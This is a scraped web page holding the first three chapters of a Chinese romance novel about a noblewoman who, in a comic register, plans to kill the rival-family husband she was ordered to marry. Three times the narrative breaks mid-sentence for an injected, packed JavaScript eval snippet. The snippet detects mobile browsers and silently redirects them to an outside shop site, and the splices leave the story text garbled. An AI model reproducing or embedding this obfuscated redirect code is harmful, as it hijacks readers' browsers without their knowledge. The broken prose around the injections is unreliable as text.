《夫君好难杀》 1. 桂花 十月初,京城落了一场雨。 雨水淅淅沥沥了两日,停歇后,留下的除了湿漉漉的凉意,还有一缕浸在雨水中的雅致清香。——是桂花开了。 桂花味道淡雅,既能做装饰、熏染衣物、做糕点,也能入药养身。这东西不贵重,主要稀奇在过季就没了,是以,不论是达官贵人还是平民百姓,早秋时节总会多瞧它几眼。 越国公府也不例外。 这日清晨,阴云还未散去,几个侍女就摘起了新鲜桂花。 桂花太小,不易采摘,好不容易收集了一碗,侍女欲拿给嬷嬷检查,前脚跨出月洞门,就与人迎面撞了一下。 “哎哎——” 侍女捧着的琉璃牡丹碗的碗底正好撞在对方怀里的匣子上端,碗没撞破,可硕大的琉璃碗在她手中倾斜着扬起,里面金灿灿的桂花铺天盖地洒了对方一身。 侍女惊呼了一声,仓皇扣住琉璃碗边沿,才没让它在青石板上摔个粉碎。 “当心点啊!”来之不易的桂花瞬间没了大半,实在令人惋惜,侍女忍不住抱怨了一句。 没看清来人就敢抱怨,是因为国公府中正经的主子只有三人,老夫人正在用早膳,国公爷带着妾室去了京外,公子蓟长凌忙于公务两日没回府了,余下有点身份的,只有前来投靠的表姑母一家、府中管家、嬷嬷等人。 这桂花是老夫人点名要的,就算真撞到了表姑母、管家他们,侍女也不怕。 “你怎么不知道当心点!”出乎意料的,对方厉声斥责了回来。 侍女被这声训斥吓了一跳,忙抬头看向对方。 她是这两日刚调到老夫人院子里做事的,只能看出面前姑娘也是个下人,但认不出这是哪个院子里的。 她试图辩解:“这是老夫人要的……” “与我何干!”不说还好,一听侍女将老夫人搬了出来,对方冷笑道,“撞了人不赔不是,反拿主子出来压人?我今日算是长了见识!” 说完,她抱着匣子后退几步,迅速将怀中匣子、衣服上的桂花一一扫落,然后低头往自己身上嗅了一下,继而抬头,怒道:“我都特意避开留月园了,还是……” 愤然说了一半,似是觉得不值,冷冷扫了侍女一眼,姑娘避脏东西似的绕开她,继续往后院去了。 两人之间的动静不小,不远处的金嬷嬷闻声赶来,恰见对方疾步离去的背影。 金嬷嬷素来严厉,侍女怕被责罚,急忙道清原委。 琉璃碗中满满当当的桂花只剩一层底了,其余的都落到残留着雨水的地面上,一部分还被人踩踏过,彻底不能要了。 金嬷嬷看了看琉璃碗,再扫了眼落到青石板上的桂花,道:“这点小事有什么可吵的?重新采些便是。” 侍女还没从刚才的冷嘲中回神,乍听金嬷嬷不仅没有惩罚对方的意思,反而责怪自己太过计较,心中大惊,也觉委屈,低声道:“是她先凶我的。我只是把桂花洒在她身上,不痛不痒的,她那么凶做什么?我还没怪她把老夫人要的桂花弄洒了呢。” 金嬷嬷捻了捻桂花,没说话。 侍女打心底不忿,对方连老夫人都不放在眼里,好生嚣张,可都这样了,金嬷嬷竟然一句斥责对方的话都不说? 要知道,先前国公爷想将宠妾抬为正室夫人,她可是代替老夫人把国公爷骂了个狗血淋头的。难不成那侍女比国公爷还金贵? 侍女迫于嬷嬷的威严不敢多问,可终究是心中不平,退下时小声嘀咕:“……总不能是公子屋里的人吧……” “大胆!”金嬷嬷倏然变了脸色,怒道,“胆敢编排主子,我看你的舌头是不想要了!” 侍女一惊,急忙跪下认错。 这侍女原本在外院做扫洒粗活,是金嬷嬷见她手脚麻利,刚把人调过来的。此时金嬷嬷望着跪地认错的侍女,既恼怒又失望,本想直接将人撵回原处的,将开口,发现不远处的门洞后有人影浮动。 她的训斥与侍女的认错声都没有遮掩,想来是附近的侍婢听见动静,被吸引了过来。 金嬷嬷停顿了下,改口道:“那是沉香阁的云霜姑娘,是少夫人的人。” 此言一出,侍女愣住。 半晌,她结结巴巴道:“她、她……怎么是她……” 沉香阁在国公府的西南面,听起来是有点偏,可实际上与老夫人的住处只隔着一个月魄湖,半面环水,南面依着留月园,西面更有单独的亭台阁楼,景色秀丽,又独立于其他院落,是一个绝佳的住处。 位置虽好,却因国公府人丁稀少空了很多年,直到半年前圣上为蓟长凌赐了婚,沉香阁才迎来它的主人。 沉香阁的新主人,即国公府的少夫人,是詹尚书家的小姐,名殊夜。 自詹殊夜来到国公府的第一日起,沉香阁所在的西南角就成了她的私有地盘,未经她的允许,任何人不得踏入一步。 那是詹府千娇万宠的掌上明珠,什么都不缺,侍婢下人与吃穿用度全是她自己带来的,除了佳节宴饮时碍于皇帝的脸面要配合着做出少夫人的样子,其余时候与国公府泾渭分明。 可以说,沉香阁与国公府是割裂开的。 当然有人看不惯詹殊夜。 最早在沉香阁遭了冷脸的是蓟长凌的表姑母。姑母,怎么说也算是半个婆母,新妇让她吃了闭门羹,被她告去了老夫人那里。 老夫人还没说什么,沉香阁那边送来一箱银两,说是租金。 这意思是把沉香阁租赁下来了? 如果沉香阁是她詹殊夜租赁下来的,那国公府其余地方和人算什么呢?再者说,收了新妇的银子,传出去了,国公府的脸面往哪儿搁? 侍女未曾目睹那日情形,但不难想出老夫人的脸色有多难看。 不过这也不能全怪詹殊夜。 詹家与国公府素有恩怨,究其根源,要到两家祖父那一代了。 詹家祖父与老国公还在世的时候,政见相左,处处不对付,情绪激动时,曾不顾身份在朝堂上对着彼此破口大骂,更有传言,说詹家祖父是被老国公气死的…… 后来两位老人相继去世,皇帝也换了人,又因父辈们不如祖辈出色,朝堂上的碰撞减少,敌对关系自然而然地有所缓解,但也仅仅是互不搭理。 然而这种状态未持续多久,随着下一代崭露头角,两家的矛盾再次渐趋尖锐,具体表现在詹家公子詹雪杭与国公府公子蓟长凌身上。 两人同年出生,同是名门望族,一个俊逸风趣,一个清贵冷淡,相貌、家世挑不出短处也就罢了,偏偏两人还都足智多谋,这个解决了官商勾结的大案,那个就镇压了让朝廷头疼已久的叛军…… 这种情况下,不管当事人是什么想法,都免不了要被旁观者放在一起比较的。 有比较,便有高低,争出了高低,便会有不中听的闲言碎语,连带着扯出那些理不清的祖辈恩怨。 詹殊夜是詹雪杭一母同胞的妹妹,前有气死祖父的老国公,后有处处想压兄长一头的蓟长凌,她能对越国公府有好脸色就怪了。 若非圣旨压身,恐怕全天下的男人都死绝了,她也不会与蓟长凌成亲。 总而言之,詹殊夜从来没把自己当做国公府的儿媳。 “租金”那事最终是蓟长凌出面解决的,不知他怎么说的,总之,打那之后,所有詹殊夜相关的事情,无论大小,全部由蓟长凌亲自处理,旁人不得插手。 就这样,沉香阁成了府中最奇特的地方,连带着里面的人,住在国公府内,却又与国公府互不相干。 上行下效,主子这样,两边的下人有样学样,对彼此也是视而不见、听而不闻。 侍女是新调上来的,只知道不能招惹沉香阁的人,并不认得她们,此时知晓了对方的来历,回看今日的冲突,恍惚明白,云霜代表着詹殊夜,自己为谁做事的确与她无关,金嬷嬷也确实管不到她头上去。 “奴婢知错了!”侍女后悔不迭,连声道,“奴婢不该顶撞沉香阁的人,奴婢再也不会犯了,求嬷嬷饶了奴婢这一次!” 金嬷嬷听后,却更加失望,“你的确错了,可我罚你,并不是这个缘故。” 詹殊夜不把自己当国公府的少夫人,国公府又何曾把她当自己人?两边的下人发生几句口角而已,算不得什么。 侍女却不明白这个道理,茫然地望着金嬷嬷。 “我罚你,一是因为你不服管教,为了一点小事在我面前嚼舌根。”说完这句,金嬷嬷抬头,环视着躲藏在暗处的下人,声音严厉道,“二是你口无遮拦,竟敢私下里妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319981|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议主子!” 侍女一怔,记起嬷嬷态度转变是在她提到蓟长凌之后,心顿时凉了大半。 金嬷嬷确信所有看热闹的下人都能听见她的话后,再次看向那侍女,声音放低,道:“被我听见,我只罚你回去做粗活,可若是哪日你编排公子的话传了出去,你可想过后果?” 侍女后怕地抖了一抖,彻底死了心。 另一边,云霜跑过月魄湖,刚喊了两声,侍女雨晴就踩着青石板跑出来了,隔得远远的,她问:“外面到处都是桂花?” 不等云霜回答,雨晴鼻子一皱,在云霜面前五步远的地方停下,惊叹道:“老天啊,你是知道小姐闻不得桂花味道,刻意用它熏了衣裳,打算让小姐难受吗?” 云霜摆摆手,“别提了!” 詹殊夜与她过世的祖母一样,受不住桂花味道,一经接触,轻则起红疹、喷嚏不止,重则呼吸急促,喘气困难。 这毛病没得治,平常注意饮食即可,只有桂花绽放的秋日比较难捱,毕竟气味是无法控制的,他们也不可能砍光京城所有桂树。 詹殊夜只得减少外出。 往年在詹府,整个府邸是找不出丁点儿桂花味的,人手也多,那些负责采买的下人都在外院,身上沾了桂花味也断然不会飘到詹殊夜鼻尖。 可现今她们人在国公府,人手有限,总得有人出去采买,出门就难免沾上桂花味道,被詹殊夜嗅见,她又得遭罪。 云霜前两日回詹府去了,今早回来时刻意避开了草木茂盛的留香园,谁知道还是被人洒了一身的桂花,这样子去见詹殊夜,无异于要毒害她。 “小姐醒了吗?” “没呢。”雨晴道,“夜里又翻来覆去半宿,天快亮才睡着,这会儿在补眠呢。” “那我先去洗洗身上的味儿。”云霜说着把匣子放到一旁的石桌上,道,“你让人把匣子擦擦,看看里面的安神香有没有沾上桂花味……” 两人各自忙去,等云霜收拾好,晌午都过去一半了。 今日雨虽已停,天却仍依然阴沉沉的,又因雨后的桂花味道太过浓郁,詹殊夜闺房的门窗闭得比寒冬腊月时候还严实。 云霜在屋外与侍女问了几句,轻手轻脚地进屋,拨开最后一道轻纱,入眼就是一个斜依着美人榻的纤细身影。 年轻姑娘身着单薄的寝衣,长发未梳,正单手支着下颌,就着熏黄的烛灯翻看手中的书册,听见动静,她慵懒地掀了下眼皮,又慢吞吞恢复原状。 云霜一瞧她这模样,就知道是心情不好。 挥手让屋里的侍女全部出去,等屋中空了,她取了把梳篦走到詹殊夜身后,捧起浓密的长发梳了几下,道:“小姐,沉香阁的桂花树早就砍光了,外面的飘不进来,咱们把窗子打开吧?屋里太暗了,对眼睛不好。” 詹殊夜没反应。 这便是不答应了。 过了会儿,云霜又道:“老爷和夫人知道小姐近来睡眠不佳,急坏了,特意寻了上好的安神香让奴婢带回来。夫人还想亲自来看小姐,可外面到处都是桂花,只要出门身上就会沾到味道,这国公府又不比咱们自己家,洗漱不便……” 詹殊夜仍是没说话。 詹府的千金是娇宠着长大的,心情不好的时候,任谁在她跟前晃荡,她也不会搭理一句。 但云霜是陪着詹殊夜长大的,有办法让她开口。 将掌中乌黑秀发轻梳了几下,云霜道:“方才我打前院过来,被国公府的人撞了一下,那人洒了我一身的桂花,还想教训我……” 詹殊夜鸦黑的长睫忽地扇动,一双清澈又明亮的杏眸抬起,直直望着云霜。 云霜失笑,道:“没事的,我已经把味道洗去了。” “国公府的人撞了你,还想教训你?”詹殊夜问的却是这个。 “是,不过小姐放心,我没吃亏。我都记着呢,咱们可以忍让任何人,唯独不能在国公府……” 没等云霜把沉香阁的规矩说完,詹殊夜已撑着美人榻坐了起来。 “我知道了。” 她打断云霜,低眼看向手中书册,视线微微停顿后,抬头。詹殊夜眼神坚毅且认真,说道:“国公府的人如此无礼,我这就派人去杀了蓟长凌!” 云霜:“……啊?” 2. 蕲州 詹、蓟两家不和,纵是宫宴上相对而坐,也不会正眼看彼此,但要说有什么你死我活的深仇大恨,也算不上。 毕竟詹家祖父的死可以说是老国公气的,也可以说是他心胸狭窄…… “我这就派人去杀了蓟长凌!” 詹殊夜突如其来的决定,让云霜大吃一惊。 “不至于……”震惊过后,云霜连忙劝阻,“小姐,咱们府上与国公府的恩怨还没到这一步……” 如今这位国公爷未能继承老国公的风采,没什么成就,反而是蓟长凌这个儿子成为府中顶梁柱。纵使云霜与自家主子一样厌恶国公府,也不得不承认,想杀蓟长凌,没那么容易。 先不说如何下手、能不能得手,更重要的是,两家积怨几十年从未没闹出过人命,一旦这种平衡被打破,詹、蓟两府将从厌恶、互不搭理的关系激化成不死不休的仇人。 关系恶化很容易,想退回原样就难了。 云霜慌慌张张说了一大堆,最后低声劝说:“小姐,不可鲁莽啊!” 詹殊夜道:“没有鲁莽,我已经考虑了许久。” 詹殊夜有着大多高门贵女都有的娇纵、傲气,并不像她对外表现出来的那么沉静稳重,但也并非不明事理。 自小到大,她没少见王孙权贵的败落与世家豪门的斗争,云霜说的这些道理她全都明白。 全都明白,却依然平静地坚持要杀了蓟长凌,足以证明她的决心有多大。 这娇生惯养的千金小姐竟然真的想杀了越国公府的继承人! 云霜急出了一脑门汗水,欲言又止半天,语无伦次道:“只因下人间几句口舌之争闹成这样……我、我担不起……” “原来你是怕这个……”詹殊夜恍悟,眼睛眨了一眨,道,“那好吧,今日的事我不与蓟长凌计较了。” 惊喜来得太过突然,云霜不可置信,“真的?” “真的。”詹殊夜点头,随后道,“可上回蓟长凌与我说话,站在了我左手边,左尊右卑,他对我不敬,我还是要杀了他。” 云霜:“……” 云霜彻底明白了,她只是单纯地想对蓟长凌下手,理由不重要。 詹殊夜嫌府中嬷嬷唠叨,没让她们跟来国公府,只带了年轻的侍女过来。其中云霜是自小入府陪着詹殊夜长大的,是她身边最稳重、可靠的侍女,深受詹夫人的器重,肩负着管理下人、照顾和引导詹殊夜的重任。 无论如何,她都要打消了詹殊夜这个可怕的念头。 方才太过震惊,她光顾着说大道理了,现在知晓事情与自己无关,才想起从另一个角度劝阻。 “这么大的事情,小姐可与老爷、夫人、公子商议过?” 詹殊夜皱了皱眉,道:“我自有打算,不会连累家中。” 这哪有什么连累不连累的? 云霜放弃这条路,又道:“就算要杀了蓟长凌,也不能是现在。他心思缜密、行事狠绝,万一一计不成被他发现……小姐,咱们还在国公府呢!” 詹殊夜眉头皱得更深。 “再者说,小姐,你还没拿到和离书呢!”云霜强调道,“若是蓟长凌现在就死了,小姐你就成了寡妇,要给他守灵哭坟的!” 詹殊夜因她的话记起曾经见过一次的那抱着灵位涕泗横流的寡妇和唱戏似的哭坟声,眼皮猛地跳了一下。 为蓟长凌哭成那狼狈样? 她情愿去死。 “我才不会为他……” “你们的亲事是太后遗愿,是皇帝赐婚!哪怕是为了皇帝的面子,你也得哭!”云霜说得斩钉截铁。 詹殊夜语塞,惊疑不定地看向她。 “寡妇哭坟!披麻戴孝!小姐,你会吗?我真怕你在蓟长凌的灵堂前笑出声来!”云霜再接再厉道,“不然你先学学寡妇哭坟?等你学会了,咱们再动手不迟!” “谁要去学那种东西!”詹殊夜瞪了云霜一眼。 不高兴,但云霜说的有道理,皇帝的面子不能不给。詹殊夜心思转了转,不甚情愿地妥协:“我再考虑考虑。” 云霜悬在喉咙的心终于放下来了。 詹殊夜只是暂时打消了杀死蓟长凌的念头,但还有转机就行,她劝说不了,可以回府找人,当务之急是弄清楚她为什么忽然要让蓟长凌去死,以从根源上解决问题。 云霜问过沉香阁的侍女,她回詹府的这两日,蓟长凌没来过,国公府里也没人碍詹殊夜的眼,还能是什么事情刺激了詹殊夜? 琢磨了会儿,云霜问:“小姐近来总睡不好,难道是因为梦见了蓟长凌?” 詹殊夜平静了半天的表情稳不住了。 为了迎合自家书香世家的美名,大多数时候她都装出一副沉静温柔的假象,再不济也是一脸淡漠,让人看不出她的想法。——哪怕实际上她糊里糊涂,根本弄不清眼前状况。 此时,她脸上浮起一阵红晕,明眸微瞪,似恼怒,似厌恶,又有些疑似无法忍受的屈辱。 见此情形,云霜还有什么不懂? 绝对是梦中的蓟长凌做了什么过分的事情。 “他做了什么?”云霜问。 詹殊夜神色变了变,冷哼了一声,不回答。 “是不是与前几个月蕲州那事有关?” 这次詹殊夜直接拒绝了交谈,她拿着那册话本子返回美人榻上,任凭云霜说什么,都没有再开口。 云霜前几日回詹府就是为了她失眠多梦的事,现在好不容易发现了源头,追问许久,始终得不到答案。她也问过雨晴等人,所有人都不知道詹殊夜究竟做了什么与蓟长凌有关的噩梦。 这么过了几日,某个天高气爽的午后,云霜突然注意到詹殊夜手边的话本子很久没换了。 话本子讲的是精怪复仇的故事,内容奇特,曾在京中流传过一阵子。詹殊夜在国公府里没有事情可做,早早就把那话本子看完了,还讲给了沉香阁的侍女们听。 可那已经是很久之前的事情了。 京城里不乏靠编故事营生的落第秀才,话本子更迭很快,詹殊夜反复翻看这旧本子做什么? 云霜跟着詹殊夜认了字,捡起话本子,发现其中一页有很重的翻看痕迹。 仔细看罢,见那页写的是六十余岁员外郎的奢靡生活,诸如金砖铺地、凤舌鱼翅、美妾服侍等等,唯一特别的是字里行间带了几句旖旎的桃色描述。只不过这描述放在六十余岁的老头子与二八少女身上,有些令人反胃。 这与蓟长凌有什么关系? 云霜想不通,打算等詹殊夜午歇醒来再旁敲侧击一下,只是没等她行动,就有下人通传:“小姐,蓟长凌来了!” . 在侍女们的共同保证下,詹殊夜终于肯将门窗打开了。 如她们所说,沉香阁位置特殊,加上国公府的人鲜少往这儿凑,带不来那让詹殊夜不适的桂花香味。——除了蓟长凌。 “不见!” 詹殊夜在云霜的劝阻下暂时打消了杀死蓟长凌的念头,但对蓟长凌的态度并无改变。 不能杀,见他做什么?她毫不客气地让人把蓟长凌撵走。 侍女去了又回,道:“奴婢们拦不住……” 拦不住的意思,就是人已经进来了。 詹殊夜的脸上又出现那似羞似怒的绯红颜色。 她讨厌越国公府是再正常不过的事情,早在认命与蓟长凌成亲的那一刻,她就做了决定,倘若蓟长凌安安分分地与她做个虚假夫妻,不干涉她的事情,她愿意忍气吞声,与越国公府共同维护皇帝的威严。 可倘若越国公府里有一人胆敢对她指手画脚,她定与越国府不死不休! 蓟长凌嘴上答应的好,也的确不许任何人接近沉香阁,可这里面并不包括他自己。 面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319982|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对詹殊夜的责问,他说:“来收租金。” 当初詹殊夜住进沉香阁,给老夫人送去一箱子白银做租金,被蓟长凌退了回来,但他不是不收,而是说不够。 他要五千两,一个月! 在京城买下一个五进院子也才百两纹银! 他怎么不干脆去抢?! 詹殊夜当然不答应,不仅不答应,打那之后还立了规矩,沉香阁的东西,哪怕是一个馒头,喂了野狗也不能留给越国公府。 没给租金,沉香阁就还是国公府的地方,蓟长凌想来就来,想走就走,侍女们拦不住,也没资格拦。 那之后好几天詹殊夜才想通,蓟长凌根本就是故意的。 詹殊夜越想越气,道:“我偏不去见他,难道他还能闯进我闺房来吗!” “他能!”云霜大声回答。 蓟长凌性子冷淡,言行也跟冰锥子一样,尖锐、无情,不给任何人留脸面。 曾经有一次抓捕叛党时与三公主的车辇发生冲突,蓟长凌全然不顾公主的警告,命人将公主的车辇翻了个底朝天。 三公主颜面丢尽,却对他无可奈何。 他真能闯进来。 两人是皇帝赐婚,他就算闯进来,詹殊夜也不能将他怎么样。 詹殊夜刚改变主意,倘若此刻蓟长凌强闯她闺房,她一定会再起杀心。 云霜赶紧劝说:“小姐,蓟长凌伪善、狂妄、卑鄙、无耻,不是个好东西,但若无正经事情,他很少来咱们沉香阁,今日一定是为了调查蕲州叛贼的事……” 半年前,詹尚书返京,途径曾聚集过叛贼的蕲州。叛贼已被剿灭,但仍有漏网之鱼,詹雪杭不放心,亲自带人去接,结果父子俩齐齐遭遇意外,失去踪迹。 蕲州的叛贼是蓟长凌剿灭的,失踪的又是他岳丈与大舅哥,皇帝便把寻人的事交给他。 就在蓟长凌去蕲州的第五天,有消息传回京城,称詹家父子皆命丧叛贼之手,尸骨无存。 詹夫人听闻噩耗,一病不起。 转眼间,偌大的詹府只剩下詹殊夜一个健全人。 詹殊夜不信父兄就这么没了,将詹夫人安顿好后,不顾所有人的劝阻,亲自去蕲州寻人。 那次外出,云霜没能跟去,苦等半个月,终于等到平安归来的詹家父子与詹殊夜。 事实证明,所谓的“詹家父子皆命丧叛贼之手”是个谣传。 人没事,贼首却桃之夭夭。 而贼首之所以能逃掉,全因詹殊夜被劫持,蓟长凌投鼠忌器,不得不放人离开。 ——这是当时跟着詹殊夜去蕲州的侍女转述的,詹家人就此事问过詹殊夜,她不予辩解,也不多说。真相如何,只有詹殊夜与蓟长凌知晓,詹殊夜不肯说,詹家人不可能去找蓟长凌求证,事情只能这么作罢。 涉及叛贼的案件归蓟长凌处理,自那之后,他数次来找詹殊夜,反复与她确认当时的情况。 云霜在提醒詹殊夜蓟长凌找她是为这事时,已经做好詹殊夜会气恼的准备。 因为她已经与蓟长凌说过不止一次,蓟长凌却仍不停来问,摆明是怀疑她有所隐瞒。 那是差点杀了她父兄的贼首,詹殊夜怎么可能会为对方隐瞒? 无怪她会生气。 让人意外的是这次詹殊夜没有气愤的表现,只是用力咬着唇,将唇面咬得发白。 云霜惊诧,定睛再看,见詹殊夜竟红了眼眶,盈盈泪水悬在眼中,摇摇欲坠。 “小姐……”云霜大惊。 詹殊夜闻声抬眸,泪水冲破长睫,顺着白净的面庞流下。 她觉得难看,侧过身,用手背在脸上重重抹了几下,低声道:“好,我去见他。” 说完,她全然没有了先前对外面弥漫着桂香环境的抵触,径直向外走去,步伐之快,云霜没能及时拦住,只能催促侍女赶紧拿着幂篱跟上。 3. 糊涂 詹殊夜跑出沉香阁,在转角处碰见了侍女雨晴。 “小姐你怎么走得这么急?怎么没梳发?”雨晴先前在外面带人防着蓟长凌,不知道詹殊夜刚掉过眼泪,嚷嚷道, “蓟长凌在松风亭等着呢,装模作样,吓得下面的人不敢吭声,他还想动小姐你的琴,我不敢拦……” 话没说完,就听“铮——”的一声,清扬的琴声从湖边传来。 沉香阁的侍女对蓟长凌的态度大致可分为两种,一种是和詹殊夜同仇敌忾,看见国公府的人就讨厌,另一种是惧怕,不敢表现出来,只好处处躲避。 雨晴属于前者,“听听……越国公府的人怎么能讨厌成这个样子!小姐,咱们去煞煞他的威风!” 蓟长凌与詹雪杭都是京城世家子弟中的佼佼者,其中詹雪杭气质文雅,爱笑,与高官雅士、瓦肆俗人,乃至街边的乞丐都能说笑几句,蓟长凌正相反,整日冷冰冰的,偶尔开口,说的也是扎人心的恶言恶语,让人敬而远之。 想煞蓟长凌的威风,太难了。 但詹殊夜觉得雨晴说的对,就算压不了他的威风,也不能在他面前露怯。 因为满城的桂花香味,詹殊夜不能出门,这几日都懒得梳妆,脸上兴许还有方才落泪的痕迹,被蓟长凌看见了,他会嘲笑,会落井下石。 詹殊夜对此深信不疑,因为她有过一次这样的经历,那是她的秘密,也是她的耻辱。 “小姐,你怎么不说话?”雨晴说了一大堆,没见詹殊夜开口,奇怪她是怎么了。 “没事。”詹殊夜轻轻揉了揉眼睛,低声道,“等云霜过来。” 云霜很快就带人追了过来,身后几个侍女有的拿着披风,有的拿着幂篱。 詹殊夜拒绝了披风,只让人为她戴上幂篱。 幂篱的薄纱垂至腰间,遮住她未施粉黛的脸,倒是省去梳妆打扮的麻烦了。 雨晴斗志昂扬地等着陪詹殊夜去煞蓟长凌的威风,云霜却忧心颇多。 知道詹殊夜要脸面,她没提方才的事情,在詹殊夜耳边低声道:“这桩婚事虽是圣上赐予的,可也不是不能和离,我知道小姐受了许多委屈,咱们再忍一忍,万事都等太后的一年丧期过了再说。” 詹殊夜不置可否,只是闷闷道:“云霜回去,雨晴跟我去见蓟长凌。” 云霜稳重,但顾虑太多,大事小事都与爹娘说,被她盯着束手束脚,做什么都不爽快。雨晴年纪小些,爱玩闹,更合詹殊夜的心意。 . 松风亭下,随着琴弦的拨动,亭外守着的几个侍女身子抖了抖,恨不得夺路逃走。 好在詹殊夜很快就来了。 被侍女簇拥着走到亭中,娉婷落座后,她瞥了眼旁边那道颀长身影,恹恹道:“什么脏东西杵在我眼前?” 雨晴立刻扭头训斥侍女:“不知道小姐眼里容不得污秽吗?还不快把脏东西弄走!” 亭中只有沉香阁主仆几人、蓟长凌与只有一张七弦琴,那是云霜让侍女们提早搬来,打算午后哄詹殊夜过来散心用的。 “脏东西”是指什么,侍女们全都明白,但不敢弄,于是小心翼翼上前,抱起那张七弦琴。 詹殊夜又说:“脏了的东西不要了,拿去丢掉!” 随着她的话音落地,旁边传来一道清冷的男声:“陆尹。” “公子。”亭外一侍卫应声出现。 “跟着沉香阁的人,把琴捡回来。” 蓟长凌声音冷冷的,就是这话听得人火冒三丈。 詹殊夜怒道:“你不许捡我的东西!” 蓟长凌立在詹殊夜侧前方,一双眼睛古井般沉静、黝黑,他垂眸看来,道:“无主的东西,我为什么不能捡?” 詹殊夜涨红了脸。 她知道蓟长凌是故意的,想让她把琴收回去,和租金是一个道理。 故技重施,她却没法应对。 收回来,被蓟长凌碰过的东西,她嫌弃。 扔掉,万一蓟长凌真让人捡走了,到时候他就能光明正大抚她的琴了,恶心! 这人对外寡言少语、冷漠绝情,但好歹还有几分假模假样的侯爵公子风范,到了她跟前,就暴露出了卑鄙无耻的本性,处处与她作对! 连小便宜都想贪占! “把琴拿回去!锁起来!” 她的东西,喂狗也不能便宜蓟长凌。 让人把琴收了回去,詹殊夜还是气不过,道:“你堂堂世家公子,心胸狭窄,满身铜臭,没有半点君子的卓然之风,你根本就不配与我大哥相提并论!” “我这么不堪?”蓟长凌声音冷淡,不急不缓,“那太后为何将你许配给我,而不是你大哥?” “你、你!” 詹殊夜又说不过他了。 当今皇帝是先帝与一民间女子所生,回宫后记在太后名下的。太后亲生的孩子只有一个公主,没到十五岁就因病去世。 詹殊夜与那位公主有着相似的眼睛与小梨涡,六七岁时第一次进宫,就得了太后的疼宠。 春去秋来,詹殊夜长成窈窕少女,太后越发年迈。 渐渐的,太后意识不怎么清醒了,有时候连皇帝都认不出来,却还惦记着那早逝的女儿,喊着要见她。 皇帝不忍心,于是经常召詹尚书带领妻女进宫陪伴太后。 詹殊夜这些年来得太后照顾颇多,不忍心看老人晚年凄苦,对太后也十分用心,谁知道一来二去,太后竟真把她当成亲女儿了。 年底,太后身子忽然好转,皇帝大喜,大设宫宴,宴请群臣及其家眷,君臣尽欢之际,太后牵着詹殊夜的手,与皇帝说放心不下她,要亲自给她挑个好夫婿。 詹殊夜懵了,詹家几口人俱是大惊,想要阻拦,被皇帝拦住。 彼时万籁俱寂,在文武百官的注视下,太后枯树般的手指颤巍巍地抬起,从殿中众多官宦子弟身上一一掠过,最后遥遥定在一人身上。 詹殊夜懵懂地顺着太后的手指看去,看清蓟长凌那张可恶的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319983|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,脑子里“嗡”的一声,瞬间失去所有反应。 与蓟长凌成亲? 她当然不能答应! 那是太后给她早逝的女儿选的夫婿,不是给她詹殊夜的! 蓟长凌去死也好,给公主配冥婚也罢,反正她不嫁! 然而当晚太后就与世长辞,詹殊夜与蓟长凌的婚事,成了她的遗愿。皇帝为表孝心,不顾两家几十年的恩怨,下了圣旨命两人尽快完婚。 若太后指是别的青年才俊,詹殊夜或许能答应。若是詹雪杭,那就更好了,所谓的赐婚就直接不存在了! 可为什么偏偏是蓟长凌? 太后是真心为“女儿”着想的,难道在她看来,蓟长凌是京中那么多好儿郎中最佳夫婿人选?好过她兄长? “那是因为太后老糊涂了!”詹殊夜想这么说,不能说。 谁知道蓟长凌是不是等着抓她的把柄,把她告到宫里去! 詹殊夜总说不过蓟长凌,她咬了咬牙,偏转过脸,道:“找我什么事?有话直说!” 她不看蓟长凌,不知道他在做什么,过了会儿才听见那讨人厌的声音说:“戴着那丑东西……感染了风寒?” “你才戴了丑东西。”詹殊夜听见不好的词句,下意识反驳,驳回后想明白蓟长凌问的是她头上的幂篱,回道,“遮光用的,不想看见你。” 不想看见蓟长凌是真的,但她戴幂篱其实是为了防止有桂花香味随风飘过来。 致命短处,詹殊夜绝不可能告诉蓟长凌。 “有事说事!” 詹殊夜说到做到,望着波光粼粼的湖面,连余光都不肯施舍给蓟长凌。 蓟长凌没再说什么,盯着她头上的幂篱看了几眼,递来一卷画。 雨晴上前去接,画卷一抬,与她的手错开。 “你一个人看。”蓟长凌道。 詹殊夜才说了不想看见蓟长凌,蓟长凌就要她亲自从他手中接画,她怀疑蓟长凌又在故意与她作对。 不想接。 但不接他不会走,而且这种情况之前也有过,是蓟长凌与她说蕲州叛贼的事情时……或许他查到了新线索? 詹殊夜让雨晴退至亭外,不情不愿地转过身,但没抬头,视线低低地扫过蓟长凌的衣摆,望见他衣摆下方的革靴。 那是一双玄色革靴,没什么花纹,乍看之下可以说得上简朴,可细瞧就会发现那靴子靴面光滑,是上好的革缎做的,且做工精良,非权贵之家不能有。 